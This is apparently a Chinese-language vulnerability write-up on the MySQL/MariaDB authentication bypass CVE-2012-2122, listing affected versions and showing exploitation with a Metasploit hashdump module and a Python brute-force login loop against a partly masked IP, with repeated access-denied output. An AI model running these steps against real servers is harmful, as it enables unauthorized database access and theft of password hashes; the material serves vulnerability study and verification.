Mysql身份认证漏洞 CVE-2012-2122_vulnerability(cve-2012-2122)补丁

Mysql身份认证漏洞 CVE-2012-2122

一、漏洞介绍

MariaDB和MySQL在用户验证的处理上存在漏洞。攻击者可利用该漏洞绕过某些安全限制，也可能导致攻击者无需知道正确口令就能登录到MySQL服务器。
当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

受影响的产品：

All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

二、漏洞危害

攻击者只要知道用户名，不断尝试就能够直接登入SQL数据库。

三、漏洞验证

使用MSF验证：

root@kali:~# msfconsole 
msf5 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf5 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set RHOSTS 119.23.***.***
msf5 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > run
1
2
3
4

使用python脚本验证：

root@kali:~# cat mysql_poc.py 
#!/usr/bin/python
import subprocess

while 1:
	subprocess.Popen("mysql -h 119.23.***.*** -P 3306 -u root --password=blah", shell=True).wait()
1
2
3
4
5
6

root@kali:~# python mysql_poc.py 
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'113.87.***.***' (using password: YES)
ERROR 1045 (28000): Access denied 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16